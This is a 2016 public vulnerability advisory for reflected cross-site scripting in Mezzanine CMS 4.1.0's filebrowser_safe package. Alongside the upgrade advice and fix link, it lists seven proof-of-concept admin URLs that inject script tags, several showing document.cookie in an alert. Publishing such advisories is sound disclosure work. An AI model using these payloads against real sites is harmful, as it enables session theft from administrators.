Mezzanine CMS 4.1.0 XSS

[hyp3rlinx@xxxxxxxxx]

[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/MEZZANINE-CMS-XSS.txt



Vendor:
===================
mezzanine.jupo.org



Product:
================
Mezzanine 4.1.0

Mezzanine is an open source CMS built using the python based Django framework.



Vulnerability Type:
===================
XSS



CVE Reference:
==============
N/A



Vulnerability Details:
=====================

XSS entry points exists within the filebrowser_safe package. 

In many areas throughout filebrowser, querystring parameters are passed 
directly into templates to form URLS for links and forms,
and these were not being escaped correctly, therefore allowing arbitrary 
JavaScript code to be injected.

In order to exploit this, a attacker would need to trick an authenticated 
administrator into clicking a malicious link
or viewing a malicious web page containing the XSS payload.

Resolution:
Upgrade right away (pip install -U filebrowser_safe).

If for some reason you're unable to upgrade seamlessly, here is the fix which 
you need to apply:
https://github.com/stephenmcd/filebrowser-safe/commit/14b30017d27ca6a952e1578ed8cecbb102979967



Exploit code(s):
===============

XSS 1)

http://localhost:8000/admin/media-library/rename/?ot=desc&o=date&filename=%22/%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E


XSS 2)

http://localhost:8000/admin/media-library/rename/?ot=desc&o=%22/%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&filename=


XSS 3)

http://localhost:8000/admin/media-library/rename/?ot=%22/%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&o=&filename=


XSS 4) 

http://localhost:8000/admin/media-library/browse/?ot=%22/%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&dir=gallery&o=date


XSS 5) 

http://localhost:8000/admin/media-library/upload/?ot=desc&dir=gallery&o=%3C%2Fscript%3E%3Cscript%3Ealert%28666%29%3C%2Fscript%3E


XSS 6) 

http://localhost:8000/admin/media-library/upload/?ot=%3C%2Fscript%3E%3Cscript%3Ealert%28%27XSS\n\nhyp3rlinx%27%29%3C%2Fscript%3E&dir=gallery&o=date


XSS 7)

http://localhost:8000/admin/media-library/upload//static/filebrowser/uploadify/?=%3C/script%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E



Disclosure Timeline:
=====================================
Vendor Notification: January 26, 2016
Feburary 2, 2016  : Public Disclosure



Exploitation Technique:
=======================
Remote



Severity Level:
================
High



Description:
=======================================================
Request Method(s):        [+]  GET


Vulnerable Product:       [+]  Mezzanine 4.1.0

=======================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory, provided 
that it is not altered except by reformatting it, and that due credit is given. 
Permission is explicitly given for insertion in vulnerability databases and 
similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained 
herein and prohibits any malicious use of all security related information or 
exploits by the author or elsewhere.

by hyp3rlinx